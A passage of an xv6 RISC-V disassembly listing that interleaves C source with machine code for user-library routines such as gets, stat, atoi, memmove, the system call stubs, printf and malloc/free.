206: 19c080e7 jalr 412(ra) # 39e <read>
if(cc < 1)
20a: 00a05e63 blez a0,226 <gets+0x56>
buf[i++] = c;
20e: faf44783 lbu a5,-81(s0)
212: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
216: 01578763 beq a5,s5,224 <gets+0x54>
21a: 0905 addi s2,s2,1
21c: fd679be3 bne a5,s6,1f2 <gets+0x22>
for(i=0; i+1 < max; ){
220: 89a6 mv s3,s1
222: a011 j 226 <gets+0x56>
224: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
226: 99de add s3,s3,s7
228: 00098023 sb zero,0(s3)
return buf;
}
22c: 855e mv a0,s7
22e: 60e6 ld ra,88(sp)
230: 6446 ld s0,80(sp)
232: 64a6 ld s1,72(sp)
234: 6906 ld s2,64(sp)
236: 79e2 ld s3,56(sp)
238: 7a42 ld s4,48(sp)
23a: 7aa2 ld s5,40(sp)
23c: 7b02 ld s6,32(sp)
23e: 6be2 ld s7,24(sp)
240: 6125 addi sp,sp,96
242: 8082 ret
0000000000000244 <stat>:
int
stat(const char *n, struct stat *st)
{
244: 1101 addi sp,sp,-32
246: ec06 sd ra,24(sp)
248: e822 sd s0,16(sp)
24a: e426 sd s1,8(sp)
24c: e04a sd s2,0(sp)
24e: 1000 addi s0,sp,32
250: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
252: 4581 li a1,0
254: 00000097 auipc ra,0x0
258: 172080e7 jalr 370(ra) # 3c6 <open>
if(fd < 0)
25c: 02054563 bltz a0,286 <stat+0x42>
260: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
262: 85ca mv a1,s2
264: 00000097 auipc ra,0x0
268: 17a080e7 jalr 378(ra) # 3de <fstat>
26c: 892a mv s2,a0
close(fd);
26e: 8526 mv a0,s1
270: 00000097 auipc ra,0x0
274: 13e080e7 jalr 318(ra) # 3ae <close>
return r;
}
278: 854a mv a0,s2
27a: 60e2 ld ra,24(sp)
27c: 6442 ld s0,16(sp)
27e: 64a2 ld s1,8(sp)
280: 6902 ld s2,0(sp)
282: 6105 addi sp,sp,32
284: 8082 ret
return -1;
286: 597d li s2,-1
288: bfc5 j 278 <stat+0x34>
000000000000028a <atoi>:
int
atoi(const char *s)
{
28a: 1141 addi sp,sp,-16
28c: e422 sd s0,8(sp)
28e: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
290: 00054603 lbu a2,0(a0)
294: fd06079b addiw a5,a2,-48
298: 0ff7f793 andi a5,a5,255
29c: 4725 li a4,9
29e: 02f76963 bltu a4,a5,2d0 <atoi+0x46>
2a2: 86aa mv a3,a0
n = 0;
2a4: 4501 li a0,0
while('0' <= *s && *s <= '9')
2a6: 45a5 li a1,9
n = n*10 + *s++ - '0';
2a8: 0685 addi a3,a3,1
2aa: 0025179b slliw a5,a0,0x2
2ae: 9fa9 addw a5,a5,a0
2b0: 0017979b slliw a5,a5,0x1
2b4: 9fb1 addw a5,a5,a2
2b6: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
2ba: 0006c603 lbu a2,0(a3)
2be: fd06071b addiw a4,a2,-48
2c2: 0ff77713 andi a4,a4,255
2c6: fee5f1e3 bgeu a1,a4,2a8 <atoi+0x1e>
return n;
}
2ca: 6422 ld s0,8(sp)
2cc: 0141 addi sp,sp,16
2ce: 8082 ret
n = 0;
2d0: 4501 li a0,0
2d2: bfe5 j 2ca <atoi+0x40>
00000000000002d4 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2d4: 1141 addi sp,sp,-16
2d6: e422 sd s0,8(sp)
2d8: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
2da: 02b57463 bgeu a0,a1,302 <memmove+0x2e>
while(n-- > 0)
2de: 00c05f63 blez a2,2fc <memmove+0x28>
2e2: 1602 slli a2,a2,0x20
2e4: 9201 srli a2,a2,0x20
2e6: 00c507b3 add a5,a0,a2
dst = vdst;
2ea: 872a mv a4,a0
*dst++ = *src++;
2ec: 0585 addi a1,a1,1
2ee: 0705 addi a4,a4,1
2f0: fff5c683 lbu a3,-1(a1)
2f4: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
2f8: fee79ae3 bne a5,a4,2ec <memmove+0x18>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
2fc: 6422 ld s0,8(sp)
2fe: 0141 addi sp,sp,16
300: 8082 ret
dst += n;
302: 00c50733 add a4,a0,a2
src += n;
306: 95b2 add a1,a1,a2
while(n-- > 0)
308: fec05ae3 blez a2,2fc <memmove+0x28>
30c: fff6079b addiw a5,a2,-1
310: 1782 slli a5,a5,0x20
312: 9381 srli a5,a5,0x20
314: fff7c793 not a5,a5
318: 97ba add a5,a5,a4
*--dst = *--src;
31a: 15fd addi a1,a1,-1
31c: 177d addi a4,a4,-1
31e: 0005c683 lbu a3,0(a1)
322: 00d70023 sb a3,0(a4)
while(n-- > 0)
326: fee79ae3 bne a5,a4,31a <memmove+0x46>
32a: bfc9 j 2fc <memmove+0x28>
000000000000032c <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
32c: 1141 addi sp,sp,-16
32e: e422 sd s0,8(sp)
330: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
332: ca05 beqz a2,362 <memcmp+0x36>
334: fff6069b addiw a3,a2,-1
338: 1682 slli a3,a3,0x20
33a: 9281 srli a3,a3,0x20
33c: 0685 addi a3,a3,1
33e: 96aa add a3,a3,a0
if (*p1 != *p2) {
340: 00054783 lbu a5,0(a0)
344: 0005c703 lbu a4,0(a1)
348: 00e79863 bne a5,a4,358 <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
34c: 0505 addi a0,a0,1
p2++;
34e: 0585 addi a1,a1,1
while (n-- > 0) {
350: fed518e3 bne a0,a3,340 <memcmp+0x14>
}
return 0;
354: 4501 li a0,0
356: a019 j 35c <memcmp+0x30>
return *p1 - *p2;
358: 40e7853b subw a0,a5,a4
}
35c: 6422 ld s0,8(sp)
35e: 0141 addi sp,sp,16
360: 8082 ret
return 0;
362: 4501 li a0,0
364: bfe5 j 35c <memcmp+0x30>
0000000000000366 <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
366: 1141 addi sp,sp,-16
368: e406 sd ra,8(sp)
36a: e022 sd s0,0(sp)
36c: 0800 addi s0,sp,16
return memmove(dst, src, n);
36e: 00000097 auipc ra,0x0
372: f66080e7 jalr -154(ra) # 2d4 <memmove>
}
376: 60a2 ld ra,8(sp)
378: 6402 ld s0,0(sp)
37a: 0141 addi sp,sp,16
37c: 8082 ret
000000000000037e <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
37e: 4885 li a7,1
ecall
380: 00000073 ecall
ret
384: 8082 ret
0000000000000386 <exit>:
.global exit
exit:
li a7, SYS_exit
386: 4889 li a7,2
ecall
388: 00000073 ecall
ret
38c: 8082 ret
000000000000038e <wait>:
.global wait
wait:
li a7, SYS_wait
38e: 488d li a7,3
ecall
390: 00000073 ecall
ret
394: 8082 ret
0000000000000396 <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
396: 4891 li a7,4
ecall
398: 00000073 ecall
ret
39c: 8082 ret
000000000000039e <read>:
.global read
read:
li a7, SYS_read
39e: 4895 li a7,5
ecall
3a0: 00000073 ecall
ret
3a4: 8082 ret
00000000000003a6 <write>:
.global write
write:
li a7, SYS_write
3a6: 48c1 li a7,16
ecall
3a8: 00000073 ecall
ret
3ac: 8082 ret
00000000000003ae <close>:
.global close
close:
li a7, SYS_close
3ae: 48d5 li a7,21
ecall
3b0: 00000073 ecall
ret
3b4: 8082 ret
00000000000003b6 <kill>:
.global kill
kill:
li a7, SYS_kill
3b6: 4899 li a7,6
ecall
3b8: 00000073 ecall
ret
3bc: 8082 ret
00000000000003be <exec>:
.global exec
exec:
li a7, SYS_exec
3be: 489d li a7,7
ecall
3c0: 00000073 ecall
ret
3c4: 8082 ret
00000000000003c6 <open>:
.global open
open:
li a7, SYS_open
3c6: 48bd li a7,15
ecall
3c8: 00000073 ecall
ret
3cc: 8082 ret
00000000000003ce <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
3ce: 48c5 li a7,17
ecall
3d0: 00000073 ecall
ret
3d4: 8082 ret
00000000000003d6 <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
3d6: 48c9 li a7,18
ecall
3d8: 00000073 ecall
ret
3dc: 8082 ret
00000000000003de <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
3de: 48a1 li a7,8
ecall
3e0: 00000073 ecall
ret
3e4: 8082 ret
00000000000003e6 <link>:
.global link
link:
li a7, SYS_link
3e6: 48cd li a7,19
ecall
3e8: 00000073 ecall
ret
3ec: 8082 ret
00000000000003ee <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
3ee: 48d1 li a7,20
ecall
3f0: 00000073 ecall
ret
3f4: 8082 ret
00000000000003f6 <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
3f6: 48a5 li a7,9
ecall
3f8: 00000073 ecall
ret
3fc: 8082 ret
00000000000003fe <dup>:
.global dup
dup:
li a7, SYS_dup
3fe: 48a9 li a7,10
ecall
400: 00000073 ecall
ret
404: 8082 ret
0000000000000406 <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
406: 48ad li a7,11
ecall
408: 00000073 ecall
ret
40c: 8082 ret
000000000000040e <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
40e: 48b1 li a7,12
ecall
410: 00000073 ecall
ret
414: 8082 ret
0000000000000416 <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
416: 48b5 li a7,13
ecall
418: 00000073 ecall
ret
41c: 8082 ret
000000000000041e <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
41e: 48b9 li a7,14
ecall
420: 00000073 ecall
ret
424: 8082 ret
0000000000000426 <ntas>:
.global ntas
ntas:
li a7, SYS_ntas
426: 48d9 li a7,22
ecall
428: 00000073 ecall
ret
42c: 8082 ret
000000000000042e <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
42e: 1101 addi sp,sp,-32
430: ec06 sd ra,24(sp)
432: e822 sd s0,16(sp)
434: 1000 addi s0,sp,32
436: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
43a: 4605 li a2,1
43c: fef40593 addi a1,s0,-17
440: 00000097 auipc ra,0x0
444: f66080e7 jalr -154(ra) # 3a6 <write>
}
448: 60e2 ld ra,24(sp)
44a: 6442 ld s0,16(sp)
44c: 6105 addi sp,sp,32
44e: 8082 ret
0000000000000450 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
450: 7139 addi sp,sp,-64
452: fc06 sd ra,56(sp)
454: f822 sd s0,48(sp)
456: f426 sd s1,40(sp)
458: f04a sd s2,32(sp)
45a: ec4e sd s3,24(sp)
45c: 0080 addi s0,sp,64
45e: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
460: c299 beqz a3,466 <printint+0x16>
462: 0805c863 bltz a1,4f2 <printint+0xa2>
neg = 1;
x = -xx;
} else {
x = xx;
466: 2581 sext.w a1,a1
neg = 0;
468: 4881 li a7,0
46a: fc040693 addi a3,s0,-64
}
i = 0;
46e: 4701 li a4,0
do{
buf[i++] = digits[x % base];
470: 2601 sext.w a2,a2
472: 00000517 auipc a0,0x0
476: 48e50513 addi a0,a0,1166 # 900 <digits>
47a: 883a mv a6,a4
47c: 2705 addiw a4,a4,1
47e: 02c5f7bb remuw a5,a1,a2
482: 1782 slli a5,a5,0x20
484: 9381 srli a5,a5,0x20
486: 97aa add a5,a5,a0
488: 0007c783 lbu a5,0(a5)
48c: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
490: 0005879b sext.w a5,a1
494: 02c5d5bb divuw a1,a1,a2
498: 0685 addi a3,a3,1
49a: fec7f0e3 bgeu a5,a2,47a <printint+0x2a>
if(neg)
49e: 00088b63 beqz a7,4b4 <printint+0x64>
buf[i++] = '-';
4a2: fd040793 addi a5,s0,-48
4a6: 973e add a4,a4,a5
4a8: 02d00793 li a5,45
4ac: fef70823 sb a5,-16(a4)
4b0: 0028071b addiw a4,a6,2
while(--i >= 0)
4b4: 02e05863 blez a4,4e4 <printint+0x94>
4b8: fc040793 addi a5,s0,-64
4bc: 00e78933 add s2,a5,a4
4c0: fff78993 addi s3,a5,-1
4c4: 99ba add s3,s3,a4
4c6: 377d addiw a4,a4,-1
4c8: 1702 slli a4,a4,0x20
4ca: 9301 srli a4,a4,0x20
4cc: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
4d0: fff94583 lbu a1,-1(s2)
4d4: 8526 mv a0,s1
4d6: 00000097 auipc ra,0x0
4da: f58080e7 jalr -168(ra) # 42e <putc>
while(--i >= 0)
4de: 197d addi s2,s2,-1
4e0: ff3918e3 bne s2,s3,4d0 <printint+0x80>
}
4e4: 70e2 ld ra,56(sp)
4e6: 7442 ld s0,48(sp)
4e8: 74a2 ld s1,40(sp)
4ea: 7902 ld s2,32(sp)
4ec: 69e2 ld s3,24(sp)
4ee: 6121 addi sp,sp,64
4f0: 8082 ret
x = -xx;
4f2: 40b005bb negw a1,a1
neg = 1;
4f6: 4885 li a7,1
x = -xx;
4f8: bf8d j 46a <printint+0x1a>
00000000000004fa <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
4fa: 7119 addi sp,sp,-128
4fc: fc86 sd ra,120(sp)
4fe: f8a2 sd s0,112(sp)
500: f4a6 sd s1,104(sp)
502: f0ca sd s2,96(sp)
504: ecce sd s3,88(sp)
506: e8d2 sd s4,80(sp)
508: e4d6 sd s5,72(sp)
50a: e0da sd s6,64(sp)
50c: fc5e sd s7,56(sp)
50e: f862 sd s8,48(sp)
510: f466 sd s9,40(sp)
512: f06a sd s10,32(sp)
514: ec6e sd s11,24(sp)
516: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
518: 0005c903 lbu s2,0(a1)
51c: 18090f63 beqz s2,6ba <vprintf+0x1c0>
520: 8aaa mv s5,a0
522: 8b32 mv s6,a2
524: 00158493 addi s1,a1,1
state = 0;
528: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
52a: 02500a13 li s4,37
if(c == 'd'){
52e: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
532: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
536: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
53a: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
53e: 00000b97 auipc s7,0x0
542: 3c2b8b93 addi s7,s7,962 # 900 <digits>
546: a839 j 564 <vprintf+0x6a>
putc(fd, c);
548: 85ca mv a1,s2
54a: 8556 mv a0,s5
54c: 00000097 auipc ra,0x0
550: ee2080e7 jalr -286(ra) # 42e <putc>
554: a019 j 55a <vprintf+0x60>
} else if(state == '%'){
556: 01498f63 beq s3,s4,574 <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
55a: 0485 addi s1,s1,1
55c: fff4c903 lbu s2,-1(s1)
560: 14090d63 beqz s2,6ba <vprintf+0x1c0>
c = fmt[i] & 0xff;
564: 0009079b sext.w a5,s2
if(state == 0){
568: fe0997e3 bnez s3,556 <vprintf+0x5c>
if(c == '%'){
56c: fd479ee3 bne a5,s4,548 <vprintf+0x4e>
state = '%';
570: 89be mv s3,a5
572: b7e5 j 55a <vprintf+0x60>
if(c == 'd'){
574: 05878063 beq a5,s8,5b4 <vprintf+0xba>
} else if(c == 'l') {
578: 05978c63 beq a5,s9,5d0 <vprintf+0xd6>
} else if(c == 'x') {
57c: 07a78863 beq a5,s10,5ec <vprintf+0xf2>
} else if(c == 'p') {
580: 09b78463 beq a5,s11,608 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
584: 07300713 li a4,115
588: 0ce78663 beq a5,a4,654 <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
58c: 06300713 li a4,99
590: 0ee78e63 beq a5,a4,68c <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
594: 11478863 beq a5,s4,6a4 <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
598: 85d2 mv a1,s4
59a: 8556 mv a0,s5
59c: 00000097 auipc ra,0x0
5a0: e92080e7 jalr -366(ra) # 42e <putc>
putc(fd, c);
5a4: 85ca mv a1,s2
5a6: 8556 mv a0,s5
5a8: 00000097 auipc ra,0x0
5ac: e86080e7 jalr -378(ra) # 42e <putc>
}
state = 0;
5b0: 4981 li s3,0
5b2: b765 j 55a <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
5b4: 008b0913 addi s2,s6,8
5b8: 4685 li a3,1
5ba: 4629 li a2,10
5bc: 000b2583 lw a1,0(s6)
5c0: 8556 mv a0,s5
5c2: 00000097 auipc ra,0x0
5c6: e8e080e7 jalr -370(ra) # 450 <printint>
5ca: 8b4a mv s6,s2
state = 0;
5cc: 4981 li s3,0
5ce: b771 j 55a <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
5d0: 008b0913 addi s2,s6,8
5d4: 4681 li a3,0
5d6: 4629 li a2,10
5d8: 000b2583 lw a1,0(s6)
5dc: 8556 mv a0,s5
5de: 00000097 auipc ra,0x0
5e2: e72080e7 jalr -398(ra) # 450 <printint>
5e6: 8b4a mv s6,s2
state = 0;
5e8: 4981 li s3,0
5ea: bf85 j 55a <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
5ec: 008b0913 addi s2,s6,8
5f0: 4681 li a3,0
5f2: 4641 li a2,16
5f4: 000b2583 lw a1,0(s6)
5f8: 8556 mv a0,s5
5fa: 00000097 auipc ra,0x0
5fe: e56080e7 jalr -426(ra) # 450 <printint>
602: 8b4a mv s6,s2
state = 0;
604: 4981 li s3,0
606: bf91 j 55a <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
608: 008b0793 addi a5,s6,8
60c: f8f43423 sd a5,-120(s0)
610: 000b3983 ld s3,0(s6)
putc(fd, '0');
614: 03000593 li a1,48
618: 8556 mv a0,s5
61a: 00000097 auipc ra,0x0
61e: e14080e7 jalr -492(ra) # 42e <putc>
putc(fd, 'x');
622: 85ea mv a1,s10
624: 8556 mv a0,s5
626: 00000097 auipc ra,0x0
62a: e08080e7 jalr -504(ra) # 42e <putc>
62e: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
630: 03c9d793 srli a5,s3,0x3c
634: 97de add a5,a5,s7
636: 0007c583 lbu a1,0(a5)
63a: 8556 mv a0,s5
63c: 00000097 auipc ra,0x0
640: df2080e7 jalr -526(ra) # 42e <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
644: 0992 slli s3,s3,0x4
646: 397d addiw s2,s2,-1
648: fe0914e3 bnez s2,630 <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
64c: f8843b03 ld s6,-120(s0)
state = 0;
650: 4981 li s3,0
652: b721 j 55a <vprintf+0x60>
s = va_arg(ap, char*);
654: 008b0993 addi s3,s6,8
658: 000b3903 ld s2,0(s6)
if(s == 0)
65c: 02090163 beqz s2,67e <vprintf+0x184>
while(*s != 0){
660: 00094583 lbu a1,0(s2)
664: c9a1 beqz a1,6b4 <vprintf+0x1ba>
putc(fd, *s);
666: 8556 mv a0,s5
668: 00000097 auipc ra,0x0
66c: dc6080e7 jalr -570(ra) # 42e <putc>
s++;
670: 0905 addi s2,s2,1
while(*s != 0){
672: 00094583 lbu a1,0(s2)
676: f9e5 bnez a1,666 <vprintf+0x16c>
s = va_arg(ap, char*);
678: 8b4e mv s6,s3
state = 0;
67a: 4981 li s3,0
67c: bdf9 j 55a <vprintf+0x60>
s = "(null)";
67e: 00000917 auipc s2,0x0
682: 27a90913 addi s2,s2,634 # 8f8 <malloc+0x134>
while(*s != 0){
686: 02800593 li a1,40
68a: bff1 j 666 <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
68c: 008b0913 addi s2,s6,8
690: 000b4583 lbu a1,0(s6)
694: 8556 mv a0,s5
696: 00000097 auipc ra,0x0
69a: d98080e7 jalr -616(ra) # 42e <putc>
69e: 8b4a mv s6,s2
state = 0;
6a0: 4981 li s3,0
6a2: bd65 j 55a <vprintf+0x60>
putc(fd, c);
6a4: 85d2 mv a1,s4
6a6: 8556 mv a0,s5
6a8: 00000097 auipc ra,0x0
6ac: d86080e7 jalr -634(ra) # 42e <putc>
state = 0;
6b0: 4981 li s3,0
6b2: b565 j 55a <vprintf+0x60>
s = va_arg(ap, char*);
6b4: 8b4e mv s6,s3
state = 0;
6b6: 4981 li s3,0
6b8: b54d j 55a <vprintf+0x60>
}
}
}
6ba: 70e6 ld ra,120(sp)
6bc: 7446 ld s0,112(sp)
6be: 74a6 ld s1,104(sp)
6c0: 7906 ld s2,96(sp)
6c2: 69e6 ld s3,88(sp)
6c4: 6a46 ld s4,80(sp)
6c6: 6aa6 ld s5,72(sp)
6c8: 6b06 ld s6,64(sp)
6ca: 7be2 ld s7,56(sp)
6cc: 7c42 ld s8,48(sp)
6ce: 7ca2 ld s9,40(sp)
6d0: 7d02 ld s10,32(sp)
6d2: 6de2 ld s11,24(sp)
6d4: 6109 addi sp,sp,128
6d6: 8082 ret
00000000000006d8 <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
6d8: 715d addi sp,sp,-80
6da: ec06 sd ra,24(sp)
6dc: e822 sd s0,16(sp)
6de: 1000 addi s0,sp,32
6e0: e010 sd a2,0(s0)
6e2: e414 sd a3,8(s0)
6e4: e818 sd a4,16(s0)
6e6: ec1c sd a5,24(s0)
6e8: 03043023 sd a6,32(s0)
6ec: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
6f0: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
6f4: 8622 mv a2,s0
6f6: 00000097 auipc ra,0x0
6fa: e04080e7 jalr -508(ra) # 4fa <vprintf>
}
6fe: 60e2 ld ra,24(sp)
700: 6442 ld s0,16(sp)
702: 6161 addi sp,sp,80
704: 8082 ret
0000000000000706 <printf>:
void
printf(const char *fmt, ...)
{
706: 711d addi sp,sp,-96
708: ec06 sd ra,24(sp)
70a: e822 sd s0,16(sp)
70c: 1000 addi s0,sp,32
70e: e40c sd a1,8(s0)
710: e810 sd a2,16(s0)
712: ec14 sd a3,24(s0)
714: f018 sd a4,32(s0)
716: f41c sd a5,40(s0)
718: 03043823 sd a6,48(s0)
71c: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
720: 00840613 addi a2,s0,8
724: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
728: 85aa mv a1,a0
72a: 4505 li a0,1
72c: 00000097 auipc ra,0x0
730: dce080e7 jalr -562(ra) # 4fa <vprintf>
}
734: 60e2 ld ra,24(sp)
736: 6442 ld s0,16(sp)
738: 6125 addi sp,sp,96
73a: 8082 ret
000000000000073c <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
73c: 1141 addi sp,sp,-16
73e: e422 sd s0,8(sp)
740: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
742: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
746: 00000797 auipc a5,0x0
74a: 1d27b783 ld a5,466(a5) # 918 <freep>
74e: a805 j 77e <free+0x42>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
750: 4618 lw a4,8(a2)
752: 9db9 addw a1,a1,a4
754: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
758: 6398 ld a4,0(a5)
75a: 6318 ld a4,0(a4)
75c: fee53823 sd a4,-16(a0)
760: a091 j 7a4 <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
762: ff852703 lw a4,-8(a0)
766: 9e39 addw a2,a2,a4
768: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
76a: ff053703 ld a4,-16(a0)
76e: e398 sd a4,0(a5)
770: a099 j 7b6 <free+0x7a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
772: 6398 ld a4,0(a5)
774: 00e7e463 bltu a5,a4,77c <free+0x40>
778: 00e6ea63 bltu a3,a4,78c <free+0x50>
{
77c: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
77e: fed7fae3 bgeu a5,a3,772 <free+0x36>
782: 6398 ld a4,0(a5)
784: 00e6e463 bltu a3,a4,78c <free+0x50>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
788: fee7eae3 bltu a5,a4,77c <free+0x40>
if(bp + bp->s.size == p->s.ptr){
78c: ff852583 lw a1,-8(a0)
790: 6390 ld a2,0(a5)
792: 02059813 slli a6,a1,0x20
796: 01c85713 srli a4,a6,0x1c
79a: 9736 add a4,a4,a3
79c: fae60ae3 beq a2,a4,750 <free+0x14>
bp->s.ptr = p->s.ptr;
7a0: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
7a4: 4790 lw a2,8(a5)
7a6: 02061593 slli a1,a2,0x20
7aa: 01c5d713 srli a4,a1,0x1c
7ae: 973e add a4,a4,a5
7b0: fae689e3 beq a3,a4,762 <free+0x26>
} else
p->s.ptr = bp;
7b4: e394 sd a3,0(a5)
freep = p;
7b6: 00000717 auipc a4,0x0
7ba: 16f73123 sd a5,354(a4) # 918 <freep>
}
7be: 6422 ld s0,8(sp)
7c0: 0141 addi sp,sp,16
7c2: 8082 ret
00000000000007c4 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
7c4: 7139 addi sp,sp,-64
7c6: fc06 sd ra,56(sp)
7c8: f822 sd s0,48(sp)
7ca: f426 sd s1,40(sp)
7cc: f04a sd s2,32(sp)
7ce: ec4e sd s3,24(sp)
7d0: e852 sd s4,16(sp)
7d2: e456 sd s5,8(sp)
7d4: e05a sd s6,0(sp)
7d6: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7d8: 02051493 slli s1,a0,0x20
7dc: 9081 srli s1,s1,0x20
7de: 04bd addi s1,s1,15
7e0: 8091 srli s1,s1,0x4
7e2: 0014899b addiw s3,s1,1
7e6: 0485 addi s1,s1,1
if((prevp = freep) == 0){
7e8: 00000517 auipc a0,0x0
7ec: 13053503 ld a0,304(a0) # 918 <freep>
7f0: c515 beqz a0,81c <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7f2: 611c ld a5,0(a0)
if(p->s.size >= nunits){
7f4: 4798 lw a4,8(a5)
7f6: 02977f63 bgeu a4,s1,834 <malloc+0x70>
7fa: 8a4e mv s4,s3
7fc: 0009871b sext.w a4,s3
800: 6685 lui a3,0x1
802: 00d77363 bgeu a4,a3,808 <malloc+0x44>
806: 6a05 lui s4,0x1
808: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
80c: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
810: 00000917 auipc s2,0x0
814: 10890913 addi s2,s2,264 # 918 <freep>
if(p == (char*)-1)
818: 5afd li s5,-1
81a: a895 j 88e <malloc+0xca>
base.s.ptr = freep = prevp = &base;
81c: 00000797 auipc a5,0x0
820: 30478793 addi a5,a5,772 # b20 <base>
824: 00000717 auipc a4,0x0
828: 0ef73a23 sd a5,244(a4) # 918 <freep>
82c: e39c sd a5,0(a5)
base.s.size = 0;
82e: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
832: b7e1 j 7fa <malloc+0x36>
if(p->s.size == nunits)
834: 02e48c63 beq s1,a4,86c <malloc+0xa8>
p->s.size -= nunits;
838: 4137073b subw a4,a4,s3
83c: c798 sw a4,8(a5)
p += p->s.size;
83e: 02071693 slli a3,a4,0x20
842: 01c6d713 srli a4,a3,0x1c
846: 97ba add a5,a5,a4
p->s.size = nunits;
848: 0137a423 sw s3,8(a5)
freep = prevp;
84c: 00000717 auipc a4,0x0
850: 0ca73623 sd a0,204(a4) # 918 <freep>
return (void*)(p + 1);
854: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
858: 70e2 ld ra,56(sp)
85a: 7442 ld s0,48(sp)
85c: 74a2 ld s1,40(sp)
85e: 7902 ld s2,32(sp)
860: 69e2 ld s3,24(sp)
862: 6a42 ld s4,16(sp)
864: 6aa2 ld s5,8(sp)
866: 6b02 ld s6,0(sp)
868: 6121 addi sp,sp,64
86a: 8082 ret
prevp->s.ptr = p->s.ptr;
86c: 6398 ld a4,0(a5)
86e: e118 sd a4,0(a0)
870: bff1 j 84c <malloc+0x88>
hp->s.size = nu;
872: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
876: 0541 addi a0,a0,16
878: 00000097 auipc ra,0x0
87c: ec4080e7 jalr -316(ra) # 73c <free>
return freep;
880: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
884: d971 beqz a0,858 <malloc+0x94>
